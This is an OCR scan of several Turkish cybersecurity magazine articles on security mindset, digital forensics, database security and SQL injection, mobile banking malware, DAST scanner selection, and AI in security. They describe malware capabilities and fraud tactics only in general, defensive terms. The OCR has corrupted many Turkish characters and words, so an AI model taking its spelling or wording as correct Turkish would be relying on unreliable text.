gerceklestirdigimizin cevabidir. Ust tiste konulan
guvenlik ¢dztimleri, art arda kurulan yazilimlar
sadece Ne'dir ve Neden sorusuna cevap
olamadiklari icin saglkli ve strdurilebilir bir
siber glivenlik altyapisi olusturamamaktadir.
Yama veya kaynak glivenlik céziimleri olarak
siniflayacagimiz Ne'ler sadece anlik fayda
saglarlar ve kugik yanginlari séndirmekten
Oteye gegemezler. Unutmayiniz ki siber giivenlik
tipki yasayan bir organizma gibidir: strekli
iyilestirilmesi, bakim yapilmasi, giincellenmesi
ve gerektigi zaman da degistirilmesi gerek-
mektedir.

Carol Dweck'in kaleme aldigi Duslince
Yapisi (Mindset) adli kitabinda ise basariya
giden farkl bir psikolojik olgudan bahsediyor.
Dweck bu kitabinda temelde duslincenin
basariyi nasil etkiledigini, basarili olmak icin
ne sekilde dusinip nasil uygulamamiz
gerektigini acikliyor. Dlslince yapiniz ve o
dlsince yapisindan gelen tutumunuz,
basarabileceklerinizi belirler.

Sabit zihniyete sahip kisiler, niteliklerinin
dogustan gelen ve degismeyen seyler olduguna
inanir, yani gelistirmek icin cabalamazlar.
Ote yandan Dweck'in teorisine gore, gelisen
zihniyete sahip ve caba ve istikrara odaklanan
kisiler, potansiyellerine ulasana kadar gelismeye
devam ederler.

Sistem gelistiricileri ve giivenlik uzmanlarinin da
bakis acilarini ve zihin yapilarini bu dogrultuda
degistirmeleri, genigletmeleri gerektigine
inantyorum. Siber dinyanin sirekli evrimlesen,
gelisen bir evren oldugu varsaymindan
hareketle bir gecede defacto standartlar
degisebiliyor. Poodle ve Heartbleed giivenlik
acikliklarinin duyurldugu giine kadar kullanilmasi
tavsiye edilen SSL 3.0 protokoll bir anda
glivensiz bir protokol haline geldi.

Sistem odakli glvenlik anlayislarindan veri
odakli gtivenlik mimarilerine gecis bir baska
ornek olabilir... Son glinlerde bir hayli popller
olan Zero Trust Security Modeli'nin ve bir
cok yeni nesil giivenlik yaklasiminin temelinde
bu anlayis yatiyor.

Veri odakli yaklasimlar, yayginlasan Bulut
Bilisim teknolojisi, serverless ve microservice
tabanli yapilarin bir sonucu olarak ortadan
kalkan sinirlar ilk defa 2003 yilinda Jericho
Forum tarafindan dile getirilmistir. Jericho
Forum™ Commandments adi ile yayinlanan
bildiride veri odakl yaklagimlar, risk tabanl
coziimler ve siber givenlik mimarisinin
yasayan bir slire¢ oldugu vurgusu 6n plana
¢tkmaktadir.

Boyle bir evrende dogmalara dayanan, sabit
fikirli, geleneksel, diinin duslince yapisi ve
¢ozlmleri elbette yetersiz kalacaktir. Bu
degisimde ayakta kalmanin ve givende
olabilmenin tek yolu éncelikle diistince yapisini
degistirmek ve glvenlik alanindaki bilgi
birikimi ve tecriibeyi, basma kaliplar seklinde
kullanmak yerine farkl bakis agisi ve zihin
yapisi ile ¢cozim Uretmek Uzere kullanmaliyiz.
Einstein'in dedigi gibi “Bir problemi, onu
yaratan zihin yapisi ile ¢cdzemezsiniz.”
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Her yeni teknoloji sundugu kolayliklarin yani sira beraberinde
yeni tehdit yuzeyleri ile yeni glvenlik risklerini beraberinde
getiriyorlar. Fakat sadece bu nedenle her yeni gelismeye
glvensiz yaftasini yapistirmanin dogru olmadigina inaniyorum.
Yakin bir ge¢cmiste Bulut Bilisim icin yapilmis talihsiz agiklama
bunun en glizel érneklerinden birisidir. Teknolojinin detaylarini,
imkan ve kabiliyetlerini bilmeden, 6grenmeden bu anlayisin
strdurllmesi ise Bulut Bilisim altyapilarinin lkemizde prematiire
dizeyde kalmasina neden olmustur. Bitln dinyanin salgin
nedeni ile kapandig bir donemde kurtaricisi olan Bulut Bilisim
altyapilarinin degeri ise daha sonra anlasimistir.

Tum dunyada nitelikli siber glivenlik uzmani ihtiyaci glinden
gline artmaktadir. Surekli gelisen ve daha karmasiklasan
dijital diinyada saldirilar daha da kompleks hale gelmektedir.
Tehdit akorlerinin devlet destekli siber ordular kapsayacak
sekilde genisledigini dustinirsek etkin siber glivenlik dnlemlerinin
ancak ve ancak bu her anlamda kendisini iyi yetistirmis nitelikli
uzman personel ile saglanabilecegine inaniyorum. Teknik
kontroller ise bu usta ellerde etkin bir savunma silahina
dondlsecektir.

GlUnumuzde artik bilgiyi ve tecriibeyi saklamanin bir dnemi
kalmamustir. Bilgi ve tecriibe, payastikca artacaktir. Bu anlamda
bizlere digen en biyik sorumluluk bu alanda uzmanlagsmak
isteyen geng¢ arkadaslari dogru ilgi alnalarina yélendirecek
bilgi birikimi ve tecrlbesimizi paylasmaktir. Aksi takdirde
geride Bedri Rahmi Eyiipoglu'nun Ug Dil siirindeki Mernus'lar
gibi onlarca arkadas! birakmis olacagiz.

Ve yazima ulu 6nder Mustafa Kemal Atatirk’in su sozleri ile
son vermek istiyorum: “Denebilir ki, hicbir seye muhtag degiliz,
yalniz tek bir seye cok ihtiyacimiz vardir; caliskan olmak.
Sosyal hastaliklarimizi arastirirsak temel olarak bundan baska,
bundan 6nemli bir hastalik bulamayiz, hastalik budur. O
halde ilk isimiz bu hastalig esash sekilde tedavi etmektir.
Milleti caliskan yapmaktir. Servet ve onun tabii sonucu olan
rahathk ve mutluluk yalniz ve ancak caliskanlarin hakkidir.”

Esen kalin
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=> Dosya Konusu

Eyvah ! Dijital Deliller Uctu

N,

Baki Nakkas

Dijital suc islendikten sonra, olay yeri midahaleye gittiniz.
Oncelikle ne yapmaniz gerekir? Yapacaginiz ilk adim cok &nemlidir.
Clnkd dijital materyallerde tutulan veriler her an bozulabilir ve
ucucu veriler kaybolabilir.

En kolay kaybolan deliller, dijital delillerdir!

GUnlUk hayatta bilisim suclari farkli kavramlarla karsimiza
cikmaktadir. Bu kavramlar Bilisim suglari, Yiiksek teknoloji suclari,
Bilgisayar suclari, Internet suglari, Siber suglar seklindedir. Kavram
karmasasindan kurtulmak ve bu tir suclari net bir sekilde
tanimlayabilmek icin Avrupa birligi 1983 yilinda bilisim suglarini
“Bilisim suclari; bilgileri otomatik olarak isleme tabi tutan veya
verilerin iletilmesini saglayan bir sisteme kars! veya sistem ile
kanun digi, ahlak disi ve yetkisiz gerceklestirilen her tirlti davranigtir.”
olarak tanimlamistir.

Suphelinin bilgisayarindaki tim deliller, teknik gereklere uygun
bir sekilde kopyalanmali ve yeterli bir diskte yedeklenmelidir.
Bu nedenle, kopyalama asamasindan herhangi bir eksik veri
kaydedilmemesi ya da veri kaybi olmamasi icin yedeklenecek
diskin stipheli bilgisayar diskinden buyik olmasi gerekmektedir.
Arastirmaci haricinde hig kimse stphelinin bilgisayarina eriseme-
melidir. Kopyalanan verilerin de hash degerleri alinmalidir.

- Sistem saati ve tarihi

« Sistemde bulunan gegerli kullanici adi

- Sistemde agik olan portlar (baglanti noktalari) ve servisler

- Su anda veya daha 6nce sisteme baglanmis olan aygitlar

« TUm dosyalarin olusturulma, diizeltme ve erisilme saatleri

« Sistemin ne kadar bir sire icin agik konumda oldugu

- Isletim sisteminin yiiklenme tarihi

- Sistemde ¢alisan processler

« Gizli programlar

« Aktif ag baglantilarinin durumu.

- Kullanicr sifreleri.

« Kaydedilmemis veya sonlandiriimig dokimanlar.

« Yakin ge¢miste gerceklesen internet tzerindeki aktiviteler
gibi bilgiler RAM'de tutulur.

Ucucu Veri Nedir?

Bellekte depolanan veya aktarim sirasinda var olan ve bilgisayarin
glct kesildiginde veya kapatildiginda kaybolan verilerdir.
Ucucu veriler rasgele erisim belleginde (RAM) bulunur. Bu
degisken verilerin incelenme slrecine "canli analiz" adi verilir.

Dijital materyale midahale edilirken makine agiksa, gt
kapatilmadan 6nce kurtarilamayan, yalnizca RAM'de saklanan
herhangi bir bilgi kaybolabilir.

Bilgisayar, eger bir aga bagli ise, bu agdan ayrilmali ve glivenli
bir bolgeye gotirilerek muhafaza altina alinmalidir.

Suphelinin bilgisayarinin tekrardan baslatiimasi ve herhangi
bir uygulamanin calistirlmasi stirecidir. Sistemin diizglin olarak
yeniden baslatilamamasi, BIOS ve tarih/saat gibi nemli bilgilerin
degismesi tehlikesini ortaya ¢ikarabilir, bdyle bir durumda bazi
onemli dosyalarin yeniden olugmasina veya kapatilmamis bir
dosyanin kaydedilmeden ortadan kalkmasina ya da Windows'a
ait swap dosyalarinin yok olmasina neden olabilir. Bir bagka deyisle,
sistem diizglin olarak yeniden baslatiimazsa, ceza muhakemesinde
delil olarak kullanilacak verilerin yok olmasi séz konusu olabilir.

Bilgisayarin inceleme igin laboratuvara gétirllirken nasil
kapatilacagi hususu, delillerin sihhatinin korunmasi agisindan
elzemdir. Bu kapatilma islemi, cihazin figinin ¢ekilmesi
seklinde yahut uygun teknik usuller isletilerek yapilabilir.
Bilgisayar kapatilmadan 6nce, ucucu delil vasfi tasiyan ag
trafigi, ekran goruntiisu, bellek dokimu gibi yararli bilgilerin
yedeklenmesi de delillerin korunmasi bakimindan énemlidir.
Zira bu kapatma islemin dogru yapilmamasi durumunda da,
yine bircok delilin yok olmasi tehlikesi ortaya cikacaktir.
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-> Dosya Konusu

Veritabani YOonetim
Sistemleri (VTYS) Guivenligi

J
L Faruk Cevik

Veri Tabani Yonetim Sistemleri (VTYS); Veri Tabanlarini
tanimlamak, olusturmak, kullanmak ve degistirmek ve veri
tabani sistemleri ile ilgili her tlrlG isletimsel gereksinimleri
karsilamak icin tasarlanmis yazilim sistemleridir, glinimuzde
boyutlari biylimis, oldukca cesitlenmis ve 6nemi ise bir o
kadar artmis durumdadir. Veri Tabani Yonetim Sistemi (VTYS)
dedigimiz sistemler; kurumlarin veya bireylerin bilgilerinin
tutuldugu, bircok kurum igin ise korunmasinin ise en Ust diizeyde
tutulmasi gereken en dnemli yazilim sistemleridir denebilir.
VTYS glivenliginin saglanabilmesi icin bir¢ok seviye bulunmakla
birlikte, bu seviyelerdeki guvenlikleri ve sistemleri ne kadar
glncel tutarsak tutalim, insan faktorind asla unutmamiz
gerekmektedir. Guvenlik icin ginimizde buyik firmalar
milyonlarca dolar yatirnm yapmakta her tir teknik detay
atlanmadan biyuk yatirimlar yapilmaktadir. Bu yatirimlarin
ise yaramasi icin atlanmamasi gereken bir detaya burada
dikkat cekmek istiyorum nedir bu faktor dersek “INSAN
FAKTORU"; VTYS givenliginin alinabilmesi icin konusunda
uzman personeller ile calismanin yani sira, tim teknik
personelden tutun, yonetim seviyesi ve uygulama kullanici
seviyesine kadar bilgi guvenligi konularinda farkindalk
saglayacak yetkinlikler kazandirilmalidir ki bu alinan gtivenlik
onlemleri ve yatirnmlar gercekten ise yarasin, bununla ilgili
bircok ©rnek bulunmaktadir ki milyon dolarlik sistemler
icerisinde insan faktoriinden kaynaklanan c¢ok basit hatalar
nedeni ile Ulkeleri etkileyen bilgi sizmalar ve giivenlik zafiyetleri
oldugunu bilmekteyiz. Ancak maalesef glinimizde bircok
firmada gormekteyiz ki teknik altyapiya yatirm yapilmakta
fakat insan kaynagina o denli nem verilmemektedir.

Veri Tabani en genel tanimiyla nerede kullanacagimiza gore
degisen ve uygulamalar tarafindan amaclarina gére kullanilan
ve amaclarina gore organize edilmis, ihtiya¢ duyuldugunda
ulasilabilen Gzerinde hesaplama ve islem yapilabilen veriler
toplulugudur diye bir basit tanimlama yapilabilir. Bircok degisik
sektdrde bu verilerin tutulma sekilleri, gtivenlik seviyeleri farklilik
gosterebilir (Finans, saglik, sosyal medya, egitim, vb.) Veri
tabani yonetim sistemleri bilgi sistemlerinin givenliginin en
onemli noktasini olusturmaktadir. Bazi arastirma firmalarinin
bu konu ile ilgili yaptigi calismalarda Diinya tzerinde ¢ok sayida
VTYS sisteminin higbir giivenlik tedbiri alinmadan internet
Uzerinden yayinda oldugu bilinmektedir, internet Uzerinden
rastgele (random) IP ler Uizerinden denemeler yapan arastirma
kuruluslan tarafindan bircok VTYS (izerine dogrudan erisilebildigini
ortaya koymuslar, yapilan bu ¢alismalar sonucunda tiim diinyada
2.7 milyar IP adresi oldugu hesabiyla tahmini olarak 368 bin
Mssql ile 124 bin Oracle Veri tabani sunucusunun hicbir gtivenlik
tedbiri alinmadan intemet ortaminda yayinda oldugu diistintlmek-
tedir. Bu glvenlik aciklarinin bircogunun Ucretsiz dagitilan
yama ve uygulamalardan kaynakli oldugu degerlendiriimektedir.

VTYS'de veriler Uzerine erigimler ile ilgili bircok seviyede
yetkilendirme sekli vardir, kullanicilar, kullanici yetkileri, roller
ve gruplar burada yetkiler ve izinler ile ilgili en temel kural ise
en az yetki (least privilege) kurahdir ki VTYS guvenligi icin cok
onemli oldugu dustincesindeyim, ben bir DBA olarak her zaman
minimum seviyede yetkilendirme yaparim sonrasinda uygulama
ekiplerinden gelen taleplere gore yetki ihtiyaclar tekrar gézden
gecirilmesi gerekiyorsa, hassas bir sekilde her uygulama ve
kullaniciya ihtiyact kadar yetki tanimlanmalidir, VTYS givenligi
icin dnemli bir kuraldir.

VTYS'ler kullanilmaya baslandigi ilk yillarda sadece kurumlarin
kendi ihtiyaclarini karsiliyor, disaridan erigsime acik olmuyordu
dolayisiyla riskler oldukca azalmig oluyordu. Fakat giiniimizde
durum oldukga farkli e-devlet, e-nabiz gibi uygulamalardan
tutunda bankacilik uygulamalari vb. bircok uygulama ile bitiin
kurumlarin veritabanlari bir sekilde son kullaniciya bilgi
sagliyor ve bu bilginin gtivenligi ise artik cok cok énemli durumda.
Hal bdyle iken VTYS sistemleri artik her zamankinden daha
fazla saldirlya a¢i durumda ve saldirganlarin istahini kabartir
durumdadir. Artik kurumlar bilingsiz veya art niyetli calisanlarin
olusturdugu tehlikenin yaninda disarida ki saldirganlara
karsida tedbirler almak zorundadirlar.
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VTYS sistemlerine yapilan en yaygin saldirilar SQL injection
sayilabilir. SQL injection saldirilari veritabani veya web uygulamalari
lzerinden sisteme ulagsmaya calismaktir. SQL injection agiklari
genelde kullanicidan alinan girdilerin hicbir denetime tabi
tutulmadan dogrudan calistiriimasindan kaynakli bir agiktir. SQL
injection ataklari saldirganin veritabani Gizerindeki hassas bilgilere
erismesinden tutun Veritabanina erisilmez hale getirmesi
veya veri tabani Uzerindeki bilgilerin degistirilmesine kadar
bircok tehlikeli islemelere olanak saglayabilmektedir.

Sag kisimda bulunan resimde plaka tanima sisteminin kameralari
tarafindan okunan plaka bilgisinin dogrudan veritabani sistemi
tzerinde calistiriimasi ile SQL yapilan olusan bir SQL injection
acig1 ve plakayi bunu bilerek diizenleyen bir saldirganin SQL
injection atak 6rnegi gorilmektedir.

VTYS korunmasi ve glvenliginin saglanmasi icin glinimizde bircok mimari gelistirilmistir. Bunlardan en 6nemlisi ve yaygin kullanilani
katmanli uygulama mimarisidir. Ornegin uygulamalar dogrudan Veritabanina ulagilamamali, arada mutlaka bir uygulama sunucusu bulunmali

bunun Gzerinden veritabani erisimi saglanmalidir.

VTYS glvenligi icin bir guvenlik politikasi olmali ve bu poltikanin belli periyotlar ile kontrollerinin saglanmasi hayati &neme sahip olarak
gorinuyor. Guvenlik poltikalarini belirleyip bunlart denetlenmesi ve giivenlik politikalart ile ilgili standartlarin takip edilmesi gerekmektedir.
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=> Dosya Konusu

Bankacilik ve Finans Mobil
Uygulamalarinin Guvenligi

K
L Yilmaz Degirmenci

Tehdit

GUnlmuzde Corona virlstiniin de etkisiyle sanal uygulamalara
olan bagimliigimiz oldukca ylksek seviyededir. Buna bagli olarak
oOzellikle bankacilik ve finans uygulamalarinin kullanimi da hayatimizin
ayrilmaz bir parcasi haline gelmis durumdadir. Konu dogrudan
para olunca dogal olarak bu tarz uygulamalar da siber saldirganlarin
birincil hedefi haline gelmektedir. Glinimizde buna yonelik
bircok saldirt ve dolandiricilik haberini gazete sayfalarindan okumak-
tayiz. S6z gelimi bu duruma en giincel ve somut bir 6rnek
olarak 27 Nisan 2021 tarihli bir gazete haberi soyledir:

“Samsun'un ilkadim ilcesi Karadeniz Mahallesi'nde yasayan 63
yasindaki O.G.'yi telefonla araya n dolandirici, kendisini bir bankanin
musteri hizmetleri gdrevlisi olarak tanitip hesabindan bin lira
para cekildigini ve bilgisinin olup olmadigini sordu. O.G. haberinin
olmadigini ileri siriince dolandirici hesabinin dondurulmasi icin
islem yapmak Uzere Team Viewer Quick Sport isimli uygulamay!
indirmesini istedi.”

S6z konusu uygulamay! telefonuna indirip telefonunu kapatan
0.G., banka hesabini kontrol ettiginde altin hesabinda bulunan
503,7 gram altinin 234 bin lira paraya cevrilip, bu paranin da
baska bir hesaba aktarildigini fark etti. Dolandirildigini anlayan
O.G. polise sikéyette bulundu.”

Dikkat ederseniz burada saldirganin mobil cihazdan para ¢almak
icin kullandig1 arag temelde bir zararli yazilim bile degildir. Dolayisiyla
standart Android / iOS guvenligi ya da AntivirGs ¢ozimleri
temelde iglevsiz kalabilmektedir.

Saldiri miktar ve etkinligi her gecen giin artmasina karsin ne var
ki, cogu bankacilik ve finansal uygulamasinin bdyle bir saldiriya
karsi donanimli bir analiz yetenegi bulunmamaktadir. Bunun en
6nemli nedenlerinden bir tanesi bankalardaki mobil yazilim ekibinin
ayni zamanda siber guvenlik konularina hakim olabilmesinin
zorlugudur. Diger yandan zaten miisteri memnuniyeti konusunda
surekli sikayet alma potansiyeli olan hassas bir finans uygula-
masinin hem paket olarak blylmesi hem de yavaslamasi
konusundaki tedirginliklerdir.

Oysa saldirganlarin eli her gecen giin giiclenmektedir. Oyle ki
bir saldirganin kurbana sofistike bir zararli yazilim géndermesi
icin o zararllyl gelistirmesine bile gerek bulunmamaktadir.
Saldirganlar zararli yazilimi olduk¢a uygun fiyatlara kiralay-
abilmektedirler.

Malware as a Service (Maa$S) tarzinda mobil zararli yazihmlar;
hem bizzat zararli yazilimi gelistirenler hem de bunlari kiralayan
saldirganlar tarafindan etkin olarak kullaniimaktadir. Bunlardan
ozellikle 'Cerberus’ ve bunun 2020 tirevi olan ‘Alien’ zararlilari; iki
faktoryel (2F Authentication) dogrulamay! atlatma dahil, sahip
olduklari yeteneklerle binlerce insanin yiizbinlerce dolar para
kaybetmesine neden olmuslardir. Bu zararlilarin yetenekleri
arasinda asagidaki 6zellikleri saymak mumkuindur:

- SMS gonderme

- 2FA ele gecirme

- SMS araya girme

- Cihaz kilitleme

- Sesi kesme

- Keylogger (messenger, whatsapp, telegram vs.)
- Arama aktarma

- Sahte banka sayfasi agma

- Tim uygulamalari listeleme

- Tum kisi listesini ele gegirme

- Kaydedilen tim SMS'leri calma
- Istenilen uygulamayi silme

Tekrar etmek gerekirse; boylesi sofistike bir saldiryr gerceklestirmek
icin saldirganin yalnizca bu yazilimi kiralamasi ya da hatta
TeamViewer / AnyDesk gibi bir uygulamadan istifade etmesi
yeterli olmaktadir.

Yapilan arastirmalara gore 2020 yilinda; 5,683,694 adet zararli

kurulum paketi, 156,710 adet yeni bankacilik truva ati, 20,708 adet
yeni mobil fidye yazilimi tespit edilmistir.
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Bankalar Ne Yapmali?

“PCl Mobile Payment Security Acceptance Guidelines” kilavuzunun
4.12 maddesi, Grtintin konumlandirilacagl mobil cihazin zararh
yazilimlara kars! korunmasina yonelik tedbirler alinmasini istemek-
tedir. Bankacilik ve Finans uygulamalari bu kapsamda dizenli
olarak denetimlere de girmektedirler. Yine 15 Mart 2020 tarihli
Resmi Gazete'de yer alan "Bankalarin Bilgi Sistemleri ve Elektronik
Bankacilik Hizmetleri Hakkinda Yénetmelik"in, Uclincii Bslimdi
tamamen mobil bankacilik gtivenligine ayrilmistir.

Dolayisiyla bu tarz siber saldirilara kargi somut énlem almak
bankalar ve finans uygulamalari igin bir zorunluluk teskil ediyor.
Peki, bu durumda bankalar neler yapabilir?

* Her seyden 6nce herhangi 6nemli bir mobil uygulama gibi
mobil finans uygulamasi da muhakkak ki defalarca sizma testinden
gecirilmeli. Bu sizma testi, standart tarama araclariyla yapilan rutin
bir faaliyet olmamal.

Sizma testi kapsaminda muhakkak cesitli mikro senaryolar
olusturularak (6rnegin baskasinin hesabina eksi degerde para
aktarma, ayni anda onlarca istek talebi gondererek yaris kosulu
olusturma gibi) uygulamanin mantiksal denklemi de zorlanmali.

Ayrica tersine muihendislik yetenekleriyle uygulamanin kaynak
kodu derinlemesine incelenmeli ve olasi atlatma yontemleri
sonuna kadar denenmelidir. Burada 6zellikle SSL Pinning Bypass
konusunun ne kadar 6nemli oldugunu tekrar vurgulamak isterim,
cuinkd bu vesileyle telefondan sunucuya akan tim web trafigini
takip ederek saldiri ylzeyini genisletmek mimkiin oluyor.

e Bunun digsinda bankacilik mobil uygulamasini gelistiren
yazilimcilar, uygulamanin icine gtivenlik denetimleri de konum-
landirabilmelidirler. Bu hem cihaz ve Uzerindeki uygulamalar
Uzerine istemci tarafinda, hem de daha kapsamli inceleme igin
sunucu tarafinda analizleri gerekli kilmaktadir.

Tabi bu caligsma belli bir is yuki ve deneyim gerektirecektir. Bir
secenek de dogrudan bankacilik uygulamasi tarafindan igeri
aktarilabilecek paketlerin dogrudan kullanilmasi olabilir. Bu konuda
uzmanlasmis bir siber gtivenlik firmasi tarafindan gelistirilen ‘import’
edilebilir hazir paketler, hem surekli glincellenmesi, hem de
slirecin yonetilmesi anlaminda buyik kolaylik saglayacaktir.

Bu sekilde glclendirilmis finans uygulamasi, aslinda icinde bir
cesit alarm ozelligi de barindirmis olacaktir ki bu 6zelligiyle
dolandiriciliga karsi birincil elden proaktif ¢c6ziim saglayacaktir.

Tabi tim bu stirecin KVKK adimlarinin da net bir sekilde tanimlanmasi
ve ylrUttlmesi ayri bir 6zen gerektirecektir.

 Siber saldirilarin en buytk dismani farkindalik kazanmis
kullanicidir. Genelde saldirganlarin kurbanlari teknoloji konusunda
nispeten zayif, duygusal olarak manipulasyona daha acik olan
orta ve yuksek yas grubu oluyor. Bu nedenle uygulama agilirken
birkag saniyelik farkindalik videolarinin agiimasi blyik verim
saglayacaktir. Yalniz burada “buna dikkat edin, sunu yapmayin “
seklinde sikici uyarilar sunmaktansa, somut yasanmisliklar
Uzerinden kullanicilara 6rnekler sunmak muhakkak ki daha
blyuk etki birakacaktir.

BV ETTEOON

Sonug

Bankacilik ve finans uygulamalarina yonelik tehditler giin gectikce
artmaktadir. Buna karsin bu uygulamalarin mobil cihaz Gzerinde
proaktif yontemler gelistirmesi artik kacinilmaz bir durumdur.
Buradaki en zorlu parameterlerden birisi ise, tim bunlarin mobil
cihaz Gizerinde siradan kullanici yetkisiyle basarilmasi ve bu siirecte
KVKK yetkilerinin digina ¢ikilmamasidir. Ancak her ne kadar zorlu bir
slire¢ olsa da, bu maksatla atilacak ufak adimlarin bile getirisinin
buyulk olacagina inantyorum.
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=> Dosya Konusu

Zafiyet Tarama Araclari

Techlerinde Neye Dikkat Edilmeli

J
L Elizabeth Topp

Web uygulama guvenliginin dnemi hizla artmasi nedeniyle giderek
daha fazla kurulus, dahili ¢dziimlerden buluta gegiyor. Ayrica bu,
suclularin son gelismeleri takip etmeye ve zafiyetlerden yararlan-
manin yeni yollarini bulmaya hevesli olduklari anlamina gelmekte-
dir. Sadece glvenlik calisanlar degil; web gelistiricileri, sistem
yoneticileri, web sitelerinin ve web uygulamalarinin guvenligi
hakkinda endiselenen diger bilgi teknolojisi calisanlari da saldir
dlzeylerini anlamalarina ve riskleri azaltmalarina yardimci olmak
icin zafiyet tarama araglarina yoneliyor.

Sektorde cok sayida web zafiyet tarama ¢ozimleri bulunmaktadir.
Bu ylzden kurulusunuz igin en iyi ¢6ziimi se¢mek ¢ok da basit bir
stire¢ olmayabilir. Ancak, birkag hususu g6z éniinde bulundurarak
avantajli  bir baslangic yapacaksiniz. Uygulama guvenlik
¢6zUminlUzU secerken, dusiinmeniz gereken 1. husus gercek
dinyadaki degere ulagma suresi olmalidir.

Uygulama guvenlik testinin amaci yalnizca sorunlari bulmak degil,
ayrica olgllebilir glivenlik iyilestirmeleri elde etmektir. Bu ylzden
en 6nemlisi, ¢coziimiinlzden kisa slrede gercek deger elde etmek-
tir. Yayillimi ve ilk sonuclari almasi aylar stirecek bir ¢6ziime para
harcamanin bir manasi yok.

Her kurulus farkhidir ve web uygulamasi glvenligi s6z konusu
oldugunda, her tirli ortam igin gecerli olan tek yaklasim dinamik
uygulama guvenligi testidir (DAST).

DAST araglari programlama dillerinden, cercevelerden, kitapliklar-
dan vb. bagimsiz olarak web uygulamalarini ve API'leri tarar. Ayrica,
kaynak koduna erismeye gerek duymamalari ve sunucuya herhangi
bir sey yiklemeniz gerekmediginden yayilimi ¢ok daha kolaydir.
Tum sektorlerdeki kuruluslarin, birden cok bilesen ve bagimlilik
genelinde web uygulamalarinin blytyen saldiri diizeyini kapsamasi
gerekir ve dinamik testler bu goreve bicilmis kaftandir.

DAST UurlninUzden bir deger elde etmek icin, dogrudan givenlik
iyilestirmelerine goétiren sonuglara ihtiyaciniz vardir. Bu da dogru-
luk gerektirir, bu yizden tarayici gergekten sahip oldugunuz tim
zafiyetleri bulmalidir. Ancak yanlis alarmlarla zaman kaybetme-
meniz adina sonuclara glivenmek de gerekir. Dizeltmeye baslay-
abilmeniz icin gercek ve eyleme gegirilebilir zafiyetlerin bir listesini
almalisiniz. Boylelikle, yatiriminizin gercek degerini aylar degil,
glnler icinde gorebilirsiniz.

Zafiyet Tarama Araclari Tercihlerinde Neye Dikkat Edilmeli
Elizabeth Topp Onerilen degerlendirme kriterlerinden bazilarina
daha ayrintili olarak bakalim:

Web uygulamasi kapsami

En 6nemli 6zelliklerinden biri glivenlik testi kapsama alanidir. Tim
web sayfalarina ulasabilen ve ¢ok sayida HTML5 ve JavaScript
kodlari iceren tek sayfalik uygulamalar da dahil olmak Uzere, en
karmasik web uygulamalarini bile tarayabilen bir tarayici arayin.
Modern DAST ¢oztumleri, karmasik cok dizeyli formlari ve hatta
sitenizin parola korumali alanlarini taramaniza da olanak tanir.

Cok sayida sorun tespit edin SQL enjeksiyonlari ve siteler arasi
betik calistirma (XSS) gibi yaygin zafiyetler de dahil olmak Uzere,
cok sayida web zafiyetlerini bulan ve web sitelerinizi yanlis
yapilandirmalar, yamasiz web yazilimi, zayif parolalar, acikta kalan
veritabanlari ve bant digi zafiyetler de dahil olmak tzere diger
bircok zafiyet acisindan kontrol edebilecek bir ¢cdziim arayin.
Dogruluk ve verimlilik Tarayiciyr sonuglarin dogrulugu ve verimlil-
igi acisindan degerlendirebilmek icin bir deneme web sitesine
veya kademelendirme ortaminiza karsi testler yapmayi diisiiniin.

Cogu zafiyeti algilayan, ayni zamanda da en az hatall pozitif sonug
veren web zafiyeti tarayicisini arayin. Ayrica, diger tarayicilarin
algilayamadig zafiyetleri algilayan tarayicilari arayin (yanlis
negatifler). Verimlilik, yanlis pozitifler ve yanlis negatifler arasin-
daki en iyi orani bularak, ideal otomatik web zafiyeti tarayicisini
bulmaniz gerekir.

Entegrasyon Tarayicinin dikkate alinmasi gereken bir diger dnemli
yonu ise, entegrasyon kolayligidir. Tim seviyelerde entegrasyon,
etkili uygulama giivenliginin anahtaridir. ideal ¢oziim, kural dis
entegrasyonlar veya API'ler araciliglyla, gelistiricilerin halihazirda
kullanmakta oldugu modern otomasyon ve isbirligi araclariyla
derinlemesine entegre olacaktir.

Dogruluk ve otomasyon, gelistiricilerin iyilestirme kilavuzu ile

birlikte eyleme gecirilebilir sorunlari dogrudan is akislarina
almalarini saglamakta cok 6nemlidir.
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Peki, hangi DAST araclarini diistinmelisiniz?

Saticinizi segerken, tamamen web uygulamasi giivenligine
odaklanmis yazilim saticilarini dikkate alin ¢linkl genellikle
onlarda benzersiz bir avantaj bulunur: tamamen web
teknolojilerine ve trendlerine ayak uydurmaya odaklanabil-
irler. Bu, sadece acik kaynakli araglara karsi degil, bircok
ticari saglayiciya karsi da bir avantajdir. Bircok web
glvenlik araclari saticisi, her seyden 6nce tamamen imza
ve yamalama ile ilgili olan ve modern web uygulamasi
glvenligi karmasasindan uzak duran ag guvenligi
tarayicilarina odaklanir.

Elinizdeki bir dizi hususla geriye kalan tek sey, 6zel
ihtiyaclarinizi degerlendirmek, bazi testler yapmak ve

kararinizi vermek.
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=> Dosya Konusu

Siber Guvenlikte Yeni Normal ve 4 Goz Prensibinin
Yeni Bagimsiz Yetkilisi: Yapay Zeka

N,

= CRYPTTECH Al LAB.

Covid 19 virlsinin ortaya ¢ikmasi ve akabinde tim
diinyay! etkisi altina alan bir salgin haline gelmesiyle birlikte
toplumsal yasam alanlarimizda ve is yapis sekillerimizde
hizli ve biylk dénlisumler yasandi. Pandeminin neden
oldugu bu doniisim sirecinde siber olay ve saldirilar
bakimindan da oldukg¢a uygun bir zemin olustu. Saldiri
ylizeylerinin artmasina sebebiyet veren yeni uygulama,
cihaz ve calisma tarzlari "Yeni Normal" adi altinda hayatimiza
yerlesti. Bu noktada insan psikolojisini, motivasyonunu ve
davraniglarini anlamlandirmanin siber saldirilan gerceklestirmek
icin en 6nemli araglardan biri oldugunu vurgulamak gerekir.
Stireg dikkatle takip edildiginde saldirilarin ¢cogunlugunun
bu eksende domain sunucularinda (DNS servers) zafiyete
yol agma ya da dogrudan cihazlara yonelik olarak gerceklestir-
ilen mail, sms, online mesajlasma uygulamalari vb. yollarla
yapilan oltalama (phishing) saldirilart ya da ilk etapta dagitilan
zararli yaziimlardan (malware) olustugu gézlemlenmektedir.
Bu slrecte uzaktan calisma tarzina gecilmesinin hem
birey hem de kurumsal olarak gerceklestirilen siber saldirilar
bakimindan bir cok yansimasi bulunmaktadir. Raporlanan
incelemelerde evden calisma ortamlarinin is yerlerine
gore guvenlik bakimindan daha yetersiz olusunun siber
saldirilarin sayisini arttirdigi belirlenmistir.

Pandemi Déneminde Gerceklesen Siber
Saldirilar

2020 yilinin Nisan ayinda Isvicre'de 100-150 araliginda
olan siber saldiri olaylarinin sayisi Haziran ayinda 350 ye
ulasmistir. 2020 yili Subat ve Mayis aylari arasinda ise yarim
milyondan fazla video konferans uygulamasi kullanicilarinin
